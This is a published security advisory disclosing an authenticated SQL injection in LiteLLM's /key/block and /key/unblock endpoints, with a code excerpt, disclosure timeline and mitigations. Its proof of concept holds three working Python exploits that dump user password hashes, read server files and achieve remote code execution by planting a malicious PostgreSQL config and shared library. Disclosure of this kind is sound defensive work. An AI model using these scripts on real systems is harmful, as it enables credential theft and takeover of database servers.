SQL Injection in LiteLLM | NSIDE ATTACK LOGIC

Advisory

Date	2026-01-23
Risk	Critical
Vulnerability Type	Authenticated SQL Injection
Affected Product	LiteLLM
Affected Versions	<= 1.81.0
Vendor Status	Open
CVE ID	pending
Permalink	NSIDE-SA-2026-001

The API endpoints „/key/block“ and „/key/unblock“ are both vulnerable to an SQL injection due insufficient sanitization of the „key“ parameter.

Introduction

LiteLLM is described as an AI Gateway to provide model access, fallbacks and spend tracking across 100+ LLMs. All in the OpenAI format. (Source)

Description

The „key“ parameter („token“ variable in the code) is used without prior sanitization:

Copy to Clipboard

# https://github.com/BerriAI/litellm/blob/b55e1daff9f89c15b68a8bd0b7addc652a22b7c9/litellm/proxy/utils.py#L1741
class PrismaClient:
    <...>
    async def get_data(
        self,
        token: Optional[Union[str, list]] = None,
        <...>
        table_name,: Optional[
            Literal[
                "user",
                "key",
                "config",
                "spend",
                "team",
                "user_notification",
                "combined_view",
            ]
        ] = None
        query_type: Literal["find_unique", "find_all"] = "find_unique",
        <...>
    ):
        <...>
        elif table_name == "combined_view":
            <...>
            if query_type == "find_unique":
                if token is None:
                    raise HTTPException(
                        status_code=400,
                        detail={"error": f"No token passed in. Token={token}"},
                    )

sql_query = f"""
                    SELECT 
                        v.*,
                        t.spend AS team_spend, 
                        t.max_budget AS team_max_budget, 
                        t.tpm_limit AS team_tpm_limit,
                        t.rpm_limit AS team_rpm_limit,
                        t.models AS team_models,
                        t.metadata AS team_metadata,
                        t.blocked AS team_blocked,
                        t.team_alias AS team_alias,
                        t.metadata AS team_metadata,
                        t.members_with_roles AS team_members_with_roles,
                        t.organization_id as org_id,
                        tm.spend AS team_member_spend,
                        m.aliases AS team_model_aliases,
                        -- Added comma to separate b.* columns
                        b.max_budget AS litellm_budget_table_max_budget,
                        b.tpm_limit AS litellm_budget_table_tpm_limit,
                        b.rpm_limit AS litellm_budget_table_rpm_limit,
                        b.model_max_budget as litellm_budget_table_model_max_budget,
                        b.soft_budget as litellm_budget_table_soft_budget
                        FROM "LiteLLM_VerificationToken" AS v
                        LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
                        LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id
                        LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id
                        LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id
----->                  WHERE v.token = '{token}'
                    """

print_verbose("sql_query being made={}".format(sql_query))
                    response = await self.db.query_first(query=sql_query)

While the „token“ variable is usually a hashed version of the access token, „/key/block“ and „/key/unblock“ do not hash the supplied token, if it does not start with „sk-„:

Copy to Clipboard

NSIDE decided to publish this vulnerability, since the vendor did neither acknowledge this finding nor implement any remediation several months after being notified.

Proof of Concept

Setup the test environment:

Copy to Clipboard

Python script to retrieve password hashes:

Copy to Clipboard

# Usage: python3 dump_hashes.py

import sys
import requests
import urllib3
urllib3.disable_warnings(category=urllib3.exceptions.InsecureRequestWarning)

TARGET = "http://127.0.0.1:4000"
HEADERS = {
    "Authorization": "Bearer sk-1234"
}
PROXIES = {}
#PROXIES = { "http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

content = ""

def pwn(pos):
    for guess in range(128, 19, -1):
        print(content + chr(guess), end="\r")
        payload =  {"key": f"1337' OR ASCII(SUBSTRING((SELECT ARRAY_TO_STRING(ARRAY_AGG(entry), ';') FROM (SELECT CONCAT(user_email, ',', password) as entry FROM \"LiteLLM_UserTable\")) FROM {pos} FOR 1))={guess} -- -"}
        res = requests.post(TARGET + "/key/unblock", json=payload, headers=HEADERS, verify=False, proxies=PROXIES)

if res.status_code == 200:
            return chr(guess)

return None

has_ended = False

while not has_ended:
    char = pwn(len(content)+1)
    if char is None:
        has_ended = True
    else:
        content += char

Python script to read files from the remote server:

Copy to Clipboard

# Usage: python3 read_file.py /etc/hostname

import sys
import requests
import urllib3
urllib3.disable_warnings(category=urllib3.exceptions.InsecureRequestWarning)

TARGET = "http://127.0.0.1:4000"
HEADERS = {
    "Authorization": "Bearer sk-1234"
}
PROXIES = {}
#PROXIES = { "http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

content = ""

def pwn(file, pos):
    for guess in range(128, 19, -1):
        print(content + chr(guess), end="\r")
        payload =  {"key": f"1337' OR ASCII(SUBSTRING((SELECT pg_read_file('{file}',0,200)) FROM {pos} FOR 1))={guess} -- -"}
        res = requests.post(TARGET + "/key/unblock", json=payload, headers=HEADERS, verify=False, proxies=PROXIES)

if res.status_code == 200:
            return chr(guess)

return None

has_ended = False

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} <filename>")
    exit()

while not has_ended:
    char = pwn(sys.argv[1], len(content)+1)
    if char is None:
        has_ended = True
    else:
        content += char

To obtain remote code execution via SELECT statements, a technique disclosed by @adeadfed can be used.

Preparation:

Copy to Clipboard

Python script to obtain remote code execution:

Copy to Clipboard

# Usage: python3 rce.py
# Technique published by @adeadfed (https://adeadfed.com/posts/postgresql-select-only-rce/#step-1-reading-current-postgresqlconf)

import sys
import requests
import urllib3
import base64
import pathlib
import time
urllib3.disable_warnings(category=urllib3.exceptions.InsecureRequestWarning)

TARGET = "http://127.0.0.1:4000"
HEADERS = {
    "Authorization": "Bearer sk-1234"
}
PROXIES = {}
#PROXIES = { "http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

MALICIOUS_SHARED_OBJECT = pathlib.Path(__file__).parent.resolve() / "evil.so" # CHANGE PATH TO SHARED OBJECT IF NECESSARY 
CHUNK_SIZE = 2048

PATH_TO_CONFIG = "/var/lib/postgresql/data/postgresql.conf"
MALICIOUS_PSQL_CONFIG = """datestyle = 'iso, mdy'
default_text_search_config = 'pg_catalog.english'
listen_addresses = '*'
log_timezone = 'Etc/UTC'
max_wal_size = 1GB
min_wal_size = 80MB
timezone = 'Etc/UTC'

dynamic_library_path = '/tmp:$libdir'
session_preload_libraries = 'evil.so'
"""

def write_config():
    payload =  {"key": f"1337' OR 2=(SELECT lo_from_bytea(133337, decode('{base64.b64encode(MALICIOUS_PSQL_CONFIG.encode()).decode()}', 'base64'))) -- -"}
    requests.post(TARGET + "/key/unblock", json=payload, headers=HEADERS, verify=False, proxies=PROXIES)

payload =  {"key": f"1337' OR 2=(SELECT lo_export(133337, '{PATH_TO_CONFIG}')) -- -"}
    requests.post(TARGET + "/key/unblock", json=payload, headers=HEADERS, verify=False, proxies=PROXIES)

payload =  {"key": f"1337' OR 2=(SELECT lo_unlink(133337)) -- -"}
    requests.post(TARGET + "/key/unblock", json=payload, headers=HEADERS, verify=False, proxies=PROXIES)

def write_shared_object():
    current_chunk = 0
    with open(MALICIOUS_SHARED_OBJECT, "rb") as f:
        while data := f.read(CHUNK_SIZE):
            if current_chunk == 0:
                payload =  {"key": f"1337' OR 1=(SELECT lo_from_bytea(133338, decode('{base64.b64encode(data).decode()}', 'base64'))) -- -"}
            else:
                payload =  {"key": f"1337' OR (SELECT lo_put(133338, {CHUNK_SIZE*current_chunk}, decode('{base64.b64encode(data).decode()}', 'base64')) IS NULL) -- -"}

requests.post(TARGET + "/key/unblock", json=payload, headers=HEADERS, verify=False, proxies=PROXIES)
            current_chunk += 1

payload =  {"key": f"1337' OR 2=(SELECT lo_export(133338, '/tmp/evil.so')) -- -"}
    requests.post(TARGET + "/key/unblock", json=payload, headers=HEADERS, verify=False, proxies=PROXIES)

payload =  {"key": f"1337' OR 2=(SELECT lo_unlink(133338)) -- -"}
    requests.post(TARGET + "/key/unblock", json=payload, headers=HEADERS, verify=False, proxies=PROXIES)

def trigger_reload():
    payload =  {"key": f"1337' OR (SELECT pg_reload_conf()) -- -"}
    requests.post(TARGET + "/key/unblock", json=payload, headers=HEADERS, verify=False, proxies=PROXIES)

write_config()
write_shared_object()
trigger_reload()

Risk

This vulnerability may allow administrators (or low privileged users, if configured) to access sensitive data stored in the database (e.g. password hashes), access the file system of the database server or even get remote code execution on the database server.

Solution/Mitigation

Since the vendor did not acknowledge these vulnerabilities, no official patch is available.

NSIDE recommends the following measures:

Restrict permissions of the database user to prevent access to the local file system.
Do not grant low-privileged users access to the vulnerable endpoints „/key/block“ and „/key/unblock“

Disclosure Timeline

2025-06-10: Tried to contact vendor via email according to reporting guidelines
defined in the security.md of the project
2025-06-13: Tried to contact vendor again via email
2025-06-17: Tried to contact vendor again via email
2025-06-19: Vulnerability reported to vendor via huntr.com
2025-08-07: Tried to contact vendor again via email
2025-08-07: Received email from vendor asking for link to the huntr.com report
2025-08-08: Shared corresponding link to the vendor via email
2025-08-14: Asked vendor for follow-up via email
2025-09-01: Asked vendor for follow-up via email
2025-09-19: Audomatic disclosure by huntr.com due to inactivity of the vendor
2026-01-23: Advisory published by NSIDE

Contact/Credits

The vulnerability was discovered during an assessment by Jesse Strathmann of NSIDE ATTACK LOGIC GmbH.

Disclaimer

The information in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at NSIDE ATTACK LOGIC GmbH’s website (https://www.nsideattacklogic.de/).

Red Team Assessment

Penetrationstest

Trainings & Workshops

NSIDE-SA-2026-001: SQL Injection in LiteLLM

Advisory

Introduction

Description

Proof of Concept

Risk

Solution/Mitigation

Disclosure Timeline

Contact/Credits

Disclaimer

BLEIBEN SIE AUF DEM LAUFENDEN